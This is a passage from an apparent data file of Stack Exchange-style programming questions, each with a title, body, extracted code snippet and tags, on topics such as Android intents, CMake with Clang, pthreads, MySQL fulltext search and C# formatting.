convert(datetime,convert(varchar,month(dateadd(m,-1,getdate()))) + '/01/' +
convert(varchar,year(getdate()))) \n and c.resolve_group in ('48',
'60')\n", "select report group tmp"], "683874": ["UTF-8 is an Encoding or a
Document Character Set?", "According with W3C Recommendation says that every
aplicattion requires its document character set (Not be confused with Character
Encoding).\n\nA document character set consists of:\n\nA Repertoire: A set of
abstract characters, such as the Latin letter \"A\", the Cyrillic letter \"I\", the
Chinese character meaning \"water\", etc.\nCode positions: A set of integer
references to characters in the repertoire.\n\nEach document is a sequence of
characters from the repertoire.\nCharacter Encoding is: \n How those
characters may be represented\n\nWhen i save a file in Windows notepad im guessing
that this are the \"Document Character Sets\":\n\nANSI\nUNICODE \nUNICODE BIG
ENDIAN \nUTF-8\n\nSimple 3 questions:\nI want to know if those are the \"document
character sets\". And if they are,\n\nWhy is UTF-8 on the list? UTF-8 is not
supposed to be an encoding?\nIf im not wrong with all this stuff:\nAre there
another Document Character Sets that Windows do not allow you to define?\nHow to
define another document character sets?\n\n", "", "html encoding character-encoding
w3c"], "2728932": ["Send SMS then email", "I'm currently developping an application
in which I can send SMS and email.\nNo big deal, that's quite easy to do. \nHere is
how I send the SMS:\n\nHere is my code to send an email:\n\nIndependently, those
work great. \nBut I want to send my email once my SMS is sent or canceled. \nI
can't find how I can get back the close event of the to send the email.\nAny
idea ?\n", "private void sendSms() {\n Log.i(\"\", \"SEND SMS\");\n Intent
intent = new Intent(Intent.ACTION_VIEW, \n
Uri.parse(\"sms:123456789\"));\n intent.putExtra(\"sms_body\", \"My message\");\
n startActivity( intent );\n}\n", "java android email sms"], "4078863":
["Scripting Mac Parental Controls application whitelists - anyone have success?",
"While most of our accounts are managed through workgroup manager, we often set up
local accounts to be used for end-of-term governmental exams at the K-12
institition where I work.\nIt would be nice to lock down the computers such that
students can only use their word processor during the exam, and have no access to
the internet. I made a local user test account and tweaked some settings under
Parental Controls. Then, I was able to export them:\n\nAnd re-import them to good
effect:\n\nWatching the filesystem while doing this, I noticed that the
applications I whitelisted were signed in the background by Parental Controls, and
this was remembered in the settings. My exported plist has lined like this
(reformated for readability):\n\nI found a nice guide to codesigning.
Unfortunately, it says that you'll need your own certificate to sign applications
with. [And, as this was already becoming more work than I had in mind, and I may
just go to 60 computers manually and do it, scripting the keychain to create a new
codesigning certificate so that I could then sign some specific apps to then enable
parental controls seems like a place where madness lies.]\nI did test to see what
would happen if I removed the key, and the managed user can not launch the
application.\nIs there a sensible way to either\n\nscript this process\n\nperhaps I
can use an existing certificate?\nperhaps Apple has a Parental Controls CLI utility
I can call that will sign them?\n\nmanage a local account from Workgroup Manager
for a whole lab?\nor otherwise perform the same steps for many computers?\n\n",
"dscl . -mcxexport /Users/testuser -o parental_controls.plist\n", "macosx
certificate mcx"], "5395173": ["Setting a universal font size for all my Jlabels
JTextArea , etc", "Hello I have an odd question.\nI want to know if and how to go
about making universal settings for my Jlabels ,TextAreas and basically any text
that can go on a panel. I have been writing the font sizes on every label to make
it consistent. However the panels are growing and I don't want to hard code the
font size on every label. \nHere are the sizes I am using and would like to use on
all my labels, and textarea's.\n\nI am just wondering is there a way to set it
universally where every Panel would inherit these specific sizes if that is at all
possible, I don't really know how to go about it for the sizes of the labels which
is why I am here asking. Thank you in advance.\n",
"titlelb.getFont().deriveFont( Font.BOLD, (float) 20.); \nlb1.getFont().deriveFont(
Font.PLAIN, (float) 11.);\nlb2.getFont().deriveFont( Font.BOLD, (float) 11.);\
ntextArea.setFont( Font.decode( \"Arial-PLAIN-11\"));\n", "java swing fonts jpanel
font-size"], "2386716": ["How to make my intent to run background?", "I want to
make my app run continuously and take the date and time from the phone. According
to the date the activity should be changed every time. \n", "", "android
background"], "4560565": ["Keep modified time of file upon insert into Google Drive
API on Android", "I am inserting files into Google Drive through the API on
Android.\nAny file that is uploaded takes on the modified time of when it as
uploaded, not the original file modified time. If I upload something through the
Google Drive App on my desktop, the original modified time of the file is kept.\nI
have tried using the setModifiedDate() method in the File object, but it doesn't
seem to work OR i'm sending the wrong date format possibly? I have tried both of
these formats:\n\nNeither seemed to work. Is there an easier way to have it retain
the original modified time of the file without having to set it manually (which I
can't get to work anyhow)?\nThe code i am using is the same as the example here:
https://developers.google.com/drive/v2/reference/files/insert\nThanks\n", "2012-08-
09T05:34:36-07:00\n2012-08-09T05:34:36-0700\n", "google-drive-sdk"], "5094468":
["The value for a object inside a viewmodel lost on redirect to action in asp.net
mvc 2.0?", "I have a view model -\n\nSo on my controller when I post back
MyViewModel it has all the values for all the fields...but when I do \n\nit loses
the values for SomeClass object?...can anyone please help me out\n", "public class
MyViewModel\n{\n public int id{get;set;};\n Public SomeClass obj{get;set;};\n}\
npublic class SomeClass\n{\n public int phone{get;set;};\n public int
zip{get;set;};\n}\n", "asp.net-mvc-2 viewmodel passing redirecttoaction"],
"2437352": ["How does one import in python if the filename or filepath contains a
non-alpha, non-underscore character?", "I need to import a function from a file
which is in a folder whose name contains a special character, with the file itself
also containing a special character. I cannot change the names to correct the
issue. How does one perform the importation in such a situation?\n", "", "python
import special-characters"], "4373941": ["How to show image in first row of Android
ListView when loading ListView?", "There is a and list_row xml which includes
with background image.The requirement is to show the image in first row of when
loading data.And subsequently show and hide
the image when tap on the rows of .\n\nI used the above source code and try to do
it.But this is not working and does not return any null objects.Show and hide part
is working on using .But I need to show the image when loading data.\nI try to do
it in Adapter class and I was able to show the image.But I couldn't hide it when
tap on other rows of .How can I fix this problem?\nThanks in Advance. \n",
"ListView", "android listview"], "5593426": ["Is it possible to pass through a IDE
tape drive to a virtual machine?", "My department does conversions for people who
bought our software to get their data out of their old system and in to our system.
Often they will be running odd or archaic systems that the only way to get the data
to us is a tape backup.\nCurrently we have the various OS's installed on several
hard drives across several computers. We would like to virtualize this, however
many of our tape drives (and we have a lot due to the fact that they can send us
anything under the sun) are IDE instead of SCSI. I have successfully in the past
done SCSI pass through with VMWare to get SCSI tape drives to work (This was done
back in VMWare Server 2), however there was no IDE pass through support at that
time.\nDue to the long tail of the internet when I attempt to search and see if any
of the newer VM products offer IDE pass through I keep getting results from 2007
saying \"No you can't do it\"\nCan any current VM software perform IDE passthough
for a tape device? I am willing to accept a Type 1 or Type 2 hypervisor, however a
Type2 that supports Windows as the host OS would be preferred.\n", "",
"virtualization tape passthrough ide"], "3208646": ["Using 'this' when initializing
an instance variable in java?", "I've seen used when declaring an instance
variable in IB's API, but this seems like a bad idea. Is assignment guaranteed to
occur after has been fully constructed? Does it matter?\nI thought that instance
variables were initialized prior to the constructor since they can be used by the
constructor. Is there some exception if is used?\nIf it somehow works, it doesn't
seem like a good idea - is available to 's constructor? If so, is constructed
prior to ? Which means that ends up being 3 and is 10? Or will there be a runtime
error? Is there even any guarantee either way? \n\nI'd like to think that IB have
a pretty solid team of developers and know what they're doing. What do you think:\
n\nCan be used initializing instance variables?\nShould it be done?\n\nEDIT\nThe
answer is yes there is a guaranteed result (for now - but read on...), but no it
shouldn't be done since its easy to inadvertently make changes to the code that
could change this 'guaranteed' result.\nI now know that when constructing a new
object (such as ) the JVM:\n\nAllocates memory for all the instance variables of
this class and all its superclasses.\nInitializes all the variables with default
values\n\"Properly\" initializes all the variables in textual order starting from
its highest superclasses (i.e. Object) and finishing with this class - so is
initialized (i.e. constructed) prior to i being initialized to 3.\nIf any of
these \"proper\" initializations call another method or another constructor, this
is done before the first constructor is invoked - so is constructed and returned
prior to the constructor being run.\nIf another constructor is invoked by instance
initialization (such as in item 4), it goes through the same process from item 1
(memory allocation, initialization etc)\n\nThe reason doing this is bad is that the
'guaranteed' result can change in two ways:\n\nIf the source code order is changed
(e.g. if is initialized before is constructed) the result will change. It would
be easy not to notice this.\nIf someone subclasses our class (or classes), they may
not be aware of the delicate balance and could change something that affects the
result when overwriting. \n\nSo it looks like IB's API suffers from this delicacy,
which I will have to now keep in mind.\nThanks to Emil H's answer and his direction
to this article which ultimately led me to my understanding above:
http://www.artima.com/designtechniques/initializationP.html - this is highly
recommended reading.\nAlso thanks to Alexander Drobyshevsky who made a very similar
point in his answer.\n", "this", "java constructor initialization this"],
"5809791": ["Cake PHP Routing issue", "I need to do some special routing in cake,
but can't for the life of me figure it out.\nI have a shop controller at , the
format of the url will be:\n\nIn the routing I need to send each part of the url to
a different action, for example if the url was just it would go to the category
action of shop.\nHowever if the url was or it would go to the sub category action
on the shop controller. \nAnd the the same again for would go to the product
action on the shop controller.\nHow would I go about this in the routing? Something
starting with \n\nOr am I way off the mark? Thanks. \n", "/shop", "php ruby-on-
rails cakephp routing url-routing"], "5773680": ["Converting OOo macros to Excel
macros", "I have an OpenDocument spreadsheet with macros in StarBasic/OOoBasic that
I want to convert into an Excel spreadsheet, with the StarBasic macros translated
to VBA. While OpenOffice.org claims to have the ability to translate VBA macros to
StarBasic and back, my attempts to have OOo convert these original StarBasic macros
to VBA have all failed.\nIs there any guaranteed way to get these macros moved to
VBA and Excel, without completely rewriting them? It seems that OOo will only turn
StarBasic macros to VBA if they originated in that form.\n", "", "excel macros
openoffice.org file-conversion"], "4084841": ["Remote JMS glassfish 3.x", "I've
created standalone remote client for embedded JMS that stands on glassfish3 server.
\nClient code :\n\nClient works fine only if its on the same machine. Every time I
try to run it on the remote machine it hangs on second line.\nI'm using -
Dorg.omg.CORBA.ORBInitialHost=10.10.10.2 to point glassfish server. \nAlso tried to
create InitialContext with properties :\n\nBut no positive results.\nAny ideas,
what am doing wrong? how to connect remote client with glassfish embedded jms ? \
nThanks in advance\n", "\n jndiContext = new InitialContext();\n
queueConnectionFactory = (TopicConnectionFactory)
jndiContext.lookup(\"topekFactory\");\n queue = (Topic)
jndiContext.lookup(\"topek\");\n", "java glassfish remote jms jndi"], "3450884":
["Different Fonts in one Label", "does anybody know a way how to create a
Label(WindowsForms) with two different Fonts or at least two different FontSizes?\
n", "", "c# visual-studio-2008 fonts label"], "4437669": ["Ubuntu network stop
working after heavy load of packets received", "My LAN has 2 PCs installed, Ubuntu
10.04 and Windows XP. I run the server on Ubuntu, and client on Windows XP. Because
I am doing stress test, so the client will keep sending tons of packets to
server. \nThe strange thing is: After few seconds, the client program crash because
of insufficient network buffer, the server is still ok. But after that I cant
connect Ubuntu PC anymore until I restart it. And I check the router, the led for
the Ubuntu PC is always ON (not blinking), look like it is jam already.\n", "",
"linux networking ubuntu"], "2417744": ["#ifdef vs #if - which is better/safer?",
"This may be a matter of style, but there's a bit of a divide in our dev team and I
wondered if anyone else had any ideas on the matter...\nBasically, we have some
debug print statements which we turn off during normal development. Personally I
prefer to do the following:\n\nSome of the team prefer the following though:\n\
n...which of those methods sounds better to you and why? My feeling is that the
first is safer because there is always something defined and there's no danger it
could destroy other defines elsewhere.\n", "\\\\---- SomeSourceFile.cpp ----\n\
n#define DEBUG_ENABLED (0)\n\n...\n\nSomeFunction()\n{\n int someVariable = 5;\
n\n#if(DEBUG_ENABLED)\n printf(\"Debugging: someVariable == %d\",
someVariable);\n#endif\n}\n", "c++ c coding-style define if-statement"], "4092451":
["add asian language support in win form application", "how to add asian language
support in winform application\nusing c#?\ndoes it possible without using east
asian language support from control pannel?\nany help is really appritiated.\n",
"", ".net winforms unicode c#-3.0 multilingual"], "915829": ["Texture change (and
other state-change) costs on modern GPUs", "I'm writing a scene-graph based
graphics engine for modeling purposes. I'm using XNA 4. \nOn many places I have
been reading, that texture changes (and other state changes) should be minimized
during rendering (so I have to order my primitives by materials, etc.).\nI created
a small test application in XNA 4, which was rendering hundreds of stanford bunny
models with a single texture, then doing the same toggling 2 different textures.
There was no difference in rendering time (however I used small ~100x100
textures).\nSo my questions are: \n\nShould I really care about sorting my
primitives by texture/color/other material parameters? Or is it less important on
modern GPUs?\nWhat is the expectable percentage of performance loss, if I don't?\
nAre there any other state changes, which can effect the performance?\nWhere can I
find some up to date literature/best practice guide about this?\n\nThank you for
any help or links!\n", "", "3d xna directx gpu direct3d"], "5136714": ["How do I
access HttpContext from an abstract base Controller?", "I have created an abstract
controller class () for handling some user authentication, but is not initialized
when the code get called.\n\n", "ApplicationController", "c# asp.net-mvc controller
initialization httpcontext"], "615831": ["Animated GIF in IE 8 stopping", "I need
to diplay a
spin gif. I was following this link Animated GIF in IE stopping\nand the solution
given to break up your GIF to say 10 images. I tried that however its not giving me
the right results either on IE8 or Chrome17.\nOnly half of the frames gets
displayed on both IE8 and chrome. However when i right click on spinner image on
IE8 it starts showing the image correctly till the time rightclick pop up is open
on the image. Any help on this issue would be appreciated.\nThanks.\n", "",
"javascript internet-explorer gif"], "2361759": ["Azure Pricing / Hosting Question
- will hosting a simple site cost $0.12/hour + data use?", "My question is pretty
simple: does hosting a website on Windows Azure, require 24 \"compute\" hours per
day?\nThat is, what would it cost me to host a website for a month, storing 1GB
data, with 1GB transferred out per month?\nI understand the data and message
pricing model, but is just having a site up there (on Azure) going to cost me
$0.12/hr?\n", "", "azure"], "2146163": ["Switching between GCC and Clang/LLVM using
CMake", "I have a number of projects built using CMake and I'd like to be able to
easily switch between using GCC or Clang/LLVM to compile them. I believe (please
correct me if I'm mistaken!) that to use Clang I need to set the following:\n\nIs
there an easy way of switching between these and the default GCC variables,
preferably as a system-wide change rather than project specific (i.e. not just
adding them into a project's CMakeLists.txt)?\nAlso, is it necessary to use the
programs rather than the system defaults when compiling using clang instead of gcc?
What's the difference?\n", " SET (CMAKE_C_COMPILER
\"/usr/bin/clang\")\n SET (CMAKE_C_FLAGS \"-Wall -std=c99\")\n
SET (CMAKE_C_FLAGS_DEBUG \"-g\")\n SET
(CMAKE_C_FLAGS_MINSIZEREL \"-Os -DNDEBUG\")\n SET (CMAKE_C_FLAGS_RELEASE
\"-O4 -DNDEBUG\")\n SET (CMAKE_C_FLAGS_RELWITHDEBINFO \"-O2 -g\")\n\n SET
(CMAKE_CXX_COMPILER \"/usr/bin/clang++\")\n SET (CMAKE_CXX_FLAGS
\"-Wall\")\n SET (CMAKE_CXX_FLAGS_DEBUG \"-g\")\n SET
(CMAKE_CXX_FLAGS_MINSIZEREL \"-Os -DNDEBUG\")\n SET (CMAKE_CXX_FLAGS_RELEASE
\"-O4 -DNDEBUG\")\n SET (CMAKE_CXX_FLAGS_RELWITHDEBINFO \"-O2 -g\")\n\n SET
(CMAKE_AR \"/usr/bin/llvm-ar\")\n SET (CMAKE_LINKER \"/usr/bin/llvm-ld\")\
n SET (CMAKE_NM \"/usr/bin/llvm-nm\")\n SET (CMAKE_OBJDUMP
\"/usr/bin/llvm-objdump\")\n SET (CMAKE_RANLIB \"/usr/bin/llvm-ranlib\")\n",
"cmake llvm clang"], "4396540": ["Fancybox passing variable to append", "I have
fancybox. Now i need pass some variable in here.\n \nHow can I do? Or if I can
split from title into \"NEED PASS VARIABLE HERE\"? \nIdea is but comment box bottom
opened picture and comment box need picture ID. \nMaybe there is more simple way if
yes then I am happy if somebody share with me?\nBest Regards,\nR\n", "append('<div
class=\"fancybox-bg\" id=\"fancybox-bg-n\"></div><div class=\"fancybox-bg\"
id=\"fancybox-bg-ne\"></div><div class=\"fancybox-bg\"
id=\"fancybox-bg-e\"></div><div class=\"fancybox-bg\"
id=\"fancybox-bg-se\"></div><div class=\"fancybox-bg\" id=\"fancybox-bg-s\"><div
style=\"padding-left:5px;\">NEED PASS VARIABLE HERE</div></div><div
class=\"fancybox-bg\" id=\"fancybox-bg-sw\"></div><div class=\"fancybox-bg\"
id=\"fancybox-bg-w\"></div><div class=\"fancybox-bg\"
id=\"fancybox-bg-nw\"></div>')", "fancybox"], "5631161": ["Is personalized
programming language possible?", "I'm sure someone have studied something like
this, but I don't know the terminologies to find any reference. \nSuppose there is
some \"standard programming language\"($S$), and a 2 people defined their own
programming language $L_1$ and $L_2$, such that they are a set of syntactic sugar
for $S$. (I don't know if there is a formal definition for syntactic sugar)\nIf the
set of syntactic sugar is reversible, i.e. there is a inverse function that maps
the language in $S$ to $L_1$, then clearly one can write a program written in
$L_1$, and desugar to $S$, and then apply sugar in $L_2$ to get a program written
in $L_2$.\nA example of a reversible syntactic sugar:\nLet $S$ be Lisp, and $L_1$
have the syntactic sugar that convert all function of the form (f x) in $S$ into
f(x), then $L_1$ can be mapped to $S$ easily by replace all f(x) with (f x).\nA
example of a non-reversible syntactic sugar:\n$a$ in $L_1$ stands for $bb$ in $S$.\
nThen $ab$ stands for $bbb$. \nThe map back is ambiguous: Is $bbb$ in $S$ stand for
$ba$ or $ab$ in $L_1$?\nUsing only reversible syntactic sugar shows anyone can have
a personalized programming language, and they can read and write in their own
language, disregard what language other people are using. \nIs there studies on
what I described? It seems there are some practical problems:\n\nDoes the choice of
$S$ change the type of syntactic sugar allowed? If so, what are the advantages of
picking some $S$ over the other?\nIs it true that no matter what $S$ is, $L_1$ and
$L_2$ are going to be trivial variations of $S$? If so, are there ways to
characterize such variations?\nCan we lose the restriction that syntactic sugar is
reversible and still be able to reasonably convert programs from $L_1$ to $L_2$?(of
course, some semantics will be lost) \nMight this be useful in real life?\n\nA
variation of this question is also posted on stackoverflow. I believe this place
will provide some more theoretical background.\n", "", "reference-request
pl.programming-languages"], "675158": ["Issues with the value of the last element
in Cholesky decomposition", "I am trying to calculate the Cholesky decomposition of
a precision matrix. I was expecting a Lower triangular matrix $L$ where $L_{ii}>0$
for all $i$. However, the last element in the diagonal is almost equal to $0$
around $10^{-8}$. I am not sure why?\nThis is my precision matrix\n$A=\\pmatrix{2&
-1& -1& 0\\\\\n -1& 2& 0& -1\\\\\n -1& 0& 2& -1\\\\\n 0 &-1& -1& 2}$.\n",
"", "linear-algebra matrices numerical-linear-algebra"], "2154301": ["Using EL to
include dynamic values in CSS", "I'm using JSF2 and Richfaces 4.\nI have the
following .css file.\n\nThis is not working due to the '#{myBean.site1}' part, how
can I correctly include the dynamic value of this bean?\nMy .xhtml file:\n\nThanks\
n", ".cobrandURL {\n background-image:
url(\"#{resource['testfolder/#{myBean.site1}:mrk_cobrand.jpg']}\");\n}\n", "css
jsf-2.0 richfaces"], "2386715": ["I'm experienced with programming but new to
Javascript, can't figure out why my code won't run", "I'm coming from a background
in C++ and Java, and trying to learn Javascript and canvas. Based off of this
tutorial, I've got this so far. What did I do wrong that is causing it not to run?
I suspect it's because I'm not understanding objects in Javascript properly.
Thanks!\n", "", "javascript oop html5-canvas"], "4987947": ["Are there any good big
data demo/example applications out there?", "I'm looking for a multi server big
data sample application, which can be used (a) to experiment with installing and
configuring a big data application, and (b) as an example starting point for
developing such an application - editing the code, making some changes,etc... In
most technologies (e.g. Java EE), such applications are very common, and are very
useful as a starting point.\nIf it can be used for benchmarking, even better.\nIf
it uses one (or more) of Hadoop, Cassandra, HBase, MongoDB, Hive, Redis it would be
great.\nThanks!\n", "", "mongodb hadoop redis cassandra bigdata"], "4691114":
["Shared Data in PThread Programming", "There's something I'm still not very sure
about in PThread programming.\nAnd I'll appreciate if someone can tell me an
absolute answer.\nMy previous question is here:\nHow do I assign array variable in
a simple Pthread programming?\nAnd now, I'm working on matrix multiplication.\nIt
works well using this:\n\nThe matrixMul is doing the matrix multiplication matC =
matA x matB.\nI tried using this struct before but it didn't work.\n\nApparently
from what I've read, a variable array can be considered as a pointer that holds the
address of the first element in the array. As for 2-dimensional array, we must tell
the compiler the size of the column. Thus we must use (*matA)[SIZE] instead of
**matA in the typedef struct.\nBut I'm still not sure about what I was doing
there.\nDid I just copy a 2D-array to another 2D-array by assigning its pointer or
what?\nKinda confusing....LOL...\nMy next questions is regarding these lines:\n\n\
nWhat actually happened there? Do each block variable in the code above has its own
copy of matrix data? Or do they just share it by having their pointer refer to the
same location in memory which means matA, matB, and matC behave like a static
variable (as in object oriented programming)? In other words, is there only one
copy of matA, matB, and matC; and do the threads access the shared data
simultantly? Or is there many copies of 'matA's, and each of them has its own
different allocation in RAM?\nSame question with my first post, what happened
behind these lines?\n(*z).arrA = arrayA;\n(*z).arrB = arrayB;\n(*z).arrC = arrayC;\
nAre the codes above efficient enough to do the task (array addition and matrix
multiplication)? Or is there another way which more efficient from the memory-
allocation point of view?\n\n@Code-Guru: there I've posted the new question.\n",
"typedef struct {\n int rowIdx;\n int (*matA)[SIZE], (*matB)[SIZE], (*matC)
[SIZE];\n} newType; \n\nint main (){\n int matriksA[SIZE][SIZE];\n int
matriksB[SIZE][SIZE];\n int matriksC[SIZE][SIZE];\n\n for
(i=0;i<NUM_THREAD;i++) {\n (*block).rowIdx = i;\n (*block).matA =
matriksA;\n (*block).matB = matriksB;\n (*block).matC = matriksC;\n
pthread_create(&arrThread[i], NULL, matrixMul, (void *)block);\n
block++;\n }\n}\n\nvoid *matrixMul(void *x){\n newType *p = (newType
*) x;\n int i = (*p).rowIdx;\n int j,k;\n for (j=0;j<SIZE;j++){\n
int result = 0;\n for(k=0;k<SIZE;k++){\n int MAik = (*p).matA[i]
[k];\n int MBkj = (*p).matB[k][j];\n result = result +
(MAik*MBkj);\n }\n (*p).matC[i][j] = result;\n }\n
pthread_exit(NULL);\n}\n", "c pointers variable-assignment matrix-multiplication"],
"2817041": ["How to avoid wasting screen space writing sparse C# code?", "The
commonly accepted way to format C# code seems to be as follows:\n\nThis wastes a
large amount of screen space, both horizontally and vertically. I'm surely not the
first person who notices. My question is: do you live with it, or have you
developed a different formatting style to avoid an excess of white space?\nPS: Note
that I didn't even use a single if statement yet!\n", "namespace SomeNamespace\n{\n
namespace SomeSubNamespace\n {\n class SomeClass\n {\n
void SomeFunction()\n {\n using (var someFile = new
StreamWriter(somePath))\n {\n try\n
{\n lock(someCriticalSection)\n {\n
using (var someDisposableThing1 = new DisposableThing())\n
{\n DoSomething(); \n
using (var someDisposableThing2 = new DisposableThing())\n
{\n lock(someOtherCriticalSection)\n
{\n DoSomethingMore();\n
}\n }\n }\n
}\n }\n catch(Exception e)\n
{\n Log(e);\n }\n }\
n }\n }\n}\n", "c# formatting indentation"], "1455599": ["PHP simplexml
children to lowercase", "I've got this as XML:\n\nI've got this as php:\n\nNow the
problem is this, I'm forced to have in a lowercase form (defaultimage) BUT in the
XML file the name of the child is: (note the uppercase I)\nQuestion: How can I
handle all the children as lowercases?\n", "...\n<product>\n<id>1</id>\
n<defaultImage>test.jpg</defaultImage>\n</product>\n...\n", "php simplexml
lowercase"], "654735": ["Every third post excerpt shows up on its own line", "I am
trying to have the excerpts on this page show up 2 per line. However, every third
shows up on its own line. Not sure how to fix this. This is the
page:\nhttp://emgraphics.net/nsfm/category/photos/ and the css is:\n\nAny ideas?
Thanks!\n", ".hentry {\n float: left;\n margin-bottom: 10px;\n margin-
left: 10px;\n margin-right: 10px;\n margin-top: 10px;\n width: 45%;\n}\n",
"css css-float"], "4591739": ["MySQL fulltext search on multiple tables with
different fields", "I am trying to join multiple tables and perform a full text
search on them. \nMost of the tables are unrelated but have similar fields.\nI have
had the fulltext searches working but i need to be able to create links from the
results which is the next step but i don't thin k it will work becuase i haven't
got enoygh fields to get enough info.\nBasically I want to search for the title and
the content of each table but i also want to search my forum tables which are
topics and messages. The topics and messages tables are linked.\nThis query will
do the trick without querying the forum tables bu t i need to be able to search
those tables.\n\nI should be able to create links for the tables that have commom
field names such as events.php?id=1 getting the id from the record, but how would i
do this for the tables topics and messages topic.php?boardid=1&topic=2 ?\
nHere is my table structure\n CREATE TABLE (\n int(4) NOT NULL
auto_increment,\n varchar(70) NOT NULL default '',\n text
NOT NULL,\n PRIMARY KEY ()\n );\n\nThis is how i currently get
all the records but there is no way of adding extra fields for the topics and
messages tables using a UNION\n\n", "SELECT * FROM (SELECT title, content,\n
MATCH(title, content) AGAINST('folk*' IN BOOLEAN MODE)\n as score FROM news
WHERE MATCH(title, content) \n AGAINST('folk*' IN BOOLEAN MODE)\n UNION ALL\n
SELECT title, content,\n MATCH(title, content) AGAINST('folk*' IN BOOLEAN MODE)\
n as score FROM events WHERE MATCH(title, content) \n AGAINST('folk*' IN
BOOLEAN MODE)\n UNION ALL\n SELECT title, content,\n MATCH(title, content)
AGAINST('folk*' IN BOOLEAN MODE)\n as score FROM blogs WHERE MATCH(title,
content) \n AGAINST('folk*' IN BOOLEAN MODE)\n UNION ALL\n SELECT title,
content,\n MATCH(title, content) AGAINST('folk*' IN BOOLEAN MODE)\n as score
FROM honeylands WHERE MATCH(title, content) \n AGAINST('folk*' IN BOOLEAN MODE)\
n UNION ALL\n SELECT title, content,\n MATCH(title, content)
AGAINST('folk*' IN BOOLEAN MODE)\n as score FROM articles WHERE MATCH(title,
content) \n AGAINST('folk*' IN BOOLEAN MODE)\n UNION ALL\n SELECT title,
content,\n MATCH(title, content) AGAINST('folk*' IN BOOLEAN MODE)\n as score
FROM info WHERE MATCH(title, content) \n AGAINST('folk*' IN BOOLEAN MODE)\n
UNION ALL\n SELECT topicid as title, boardid as content,\n MATCH(title,
content) AGAINST('folk*' IN BOOLEAN MODE)\n as score FROM articles WHERE
MATCH(title, content) \n AGAINST('folk*' IN BOOLEAN MODE)\n UNION ALL\n
SELECT topicid as title, message as content,\n MATCH(title, content)
AGAINST('folk*' IN BOOLEAN MODE)\n as score FROM info WHERE MATCH(title,
content) \n AGAINST('folk*' IN BOOLEAN MODE)) a ORDER BY score DESC\n", "mysql
full-text-search union"], "851633": ["Is There Any Way To Make More Custom Naming
Style For ReSharper 6?", "My project have a coding convention that:\nFor local
variables (inside methods): Use the format [prefix][variable name]\n[Prefix] will
be the first character of the data type if variables are of primitive type such as
Integer, Byte, String...\nExample:\n\nIs there any way for Resharper to create
custom naming rule for this case?\nThanks.\n", "Dim sCompanyName As String\nDim
iArrayIndex As Integer\nDim bContactStatus As Boolean\n", "resharper hungarian-
notation"], "64486": ["Draw a border around mkmapview,scrollview and webview ", "I
am developing an iPhone application in which I have a page in which I am using
scrollview mkmapview and webview all at once in the control of a segmented
control.\nI am doing it confortablly .\nMy question is that I want to show border
or frame outside this frames.\nHow can I do so ?\n", "", "iphone-sdk-3.0 uiwebview
uiscrollview mkmapview"], "3485614": ["define subselect for a queryover", "i'm
certain that i'm missing something really obvious here.\nwhat I want to acheive is
quite simple- \nI'd like one query to load all s without hydrating their and
collections.\nIn another query, I do want to initialize these collections, using
SubSelect. \nusing in the second query would issue left joins, which I don't
want.\nI can define those collections' fetching strategies in the mappings like so
(fluently): \n\nwhich would cause the second query to run the way I want it to,
but then I can't turn off the for the first query (i've tried but that doesn't
seem to do anything). \nwhat am I missing?\n", "User", "nhibernate queryover"],
"4421583": ["How to play sound as soon as possible?", "There are about 60 sound
samples in my application. I have to play it with strong accuracy in time. 5ms will
mater. Sound must play in response to user actions. So I do not know what sound'll
play next. I thinked aboud precreating of SoundEffectInstance for all sounds. Does
creating of SoundEffectInstance take any time and memory? Is it full copy of
SoundEffect in memory or just some pointer information. Can I improve my
application if I'll precreate SoundEffectInstances? Is there any other way to play
sample as soon as possible in XNA?\n", "", "c# .net windows-phone-7 audio xna"],
"2387625": ["How does C++ handle &&? (Short-circuit evaluation)", "When
encountering a (bool1 && bool2), does c++ ever attempts to check bool2 if bool1 was
found false or does it ignore it the way PHP does?\nSorry if it is too basic of a
question, but I really could not find a mentioning of that neither in Schildt nor
on the Internet.\n", "", "c++ and-operator"], "2387627": ["Can we have 2 formatter
options in jqgrid colModel ?", "I have a jqgrid, where it has a custom formatter to
\"column1\". I need to sort the \"column1\" as date. I know that i can
give \"formatter:date\", if i give this, my custom formatter does not work. Can we
have 2 formatters or is there any other option for this ? \nThanks in advance!\n",
"", "jqgrid jqgrid-formatter"], "2387626": ["Imports and references required to use
LINQ", "I have never used LINQ before, and I am getting an error in an application
that does use it. This is a VB.NET (.NET 2.0) project in Visual Studio 2008.\nHere
is the offending code:\n\nAnd here is the error (names changed to something
generic, but otherwise accurate):\n\nSo I recognize that I need to import LINQ
libraries. This link led me to add \"Imports System.Linq\" to the file, but that
is an unresolved reference. Based on the same link, I figured I needed to add a
reference to \"System.Core\" to my project, but it is not listed as an available
option when I try to add a reference (nor is it already checked).\nI feel sure I'm
missing something basic. Can someone point me in the right direction?\nTL;DR: What
do I need for LINQ to work?\n",
"Dim orderedRows = From r In resultRows Order By r.FIELDNAME Select r\n", ".net
vb.net linq"], "5664501": ["WCF REST POST XML", "Whats the best way that I can
create wcf rest post that accepts xml document(with out any query string)?\n", "",
"namespaces"], "3957581": ["assign device to dhcp scope", "one dhcp server running
server 2003 r2, 2 dhcp scopes, is it possible to assign a static lease to a device
by mac address to use the 2nd scope?\n", "", "dhcp"], "3939748": ["See java exit
code in Unix", "I am throwing an exit code from a java program with
System.exit(int). Should I be able to see any message when the program exits this
way? I see nothing at this point.\n", "", "java unix exit-code"], "1907000": ["How
to Combine 4 column into 1 column?", "Using office 2010. everything is in same
sheet.\nData in Column A B C & D can change (increase or decrease daily)\n\nI have
4 column\n\nlength of columns A B C & D can increase of decrease.\n", "
OUTPUT --> IN column F should be \n---A-----B-----C------
D---------------------------------------F\n 1 5 8 AP
1\n 2 6 9 BP 2\n 3 7
1 CD 3\n 4 5 QW
4\n 5\n
6\n 7\n
8\n 9\n
1\n 5\n
AP\n BP\n
CD\n QW\n", "excel vba
excel-vba excel-formula excel-2010"], "5861457": ["Counting with an Integer Divide-
based routine - Is there a formulaic approach?", "Consider a routine that counts by
successive divide w/ remainder operations. \nStarting with a 64-bit dividend,
the routine divides by a constant divisor.\nIf the remainder is 0, the routine
returns.\nOtherwise, a new dividend is constructed by multiplying the remainder by
2^32 and adding the integer quotient. \nIn code: \n\nWith an arbitrary Divisor,
is there a preferably non-iterating method to calculate the necessary Dividend to
get the desired count?\nFor many initial dividends, this seems to quickly hit
the \"Assert\" condition. Would some dividends cause this to loop forever? \n\nIf,
instead of a count, the routine returns the quotient, can I calculate the Dividend
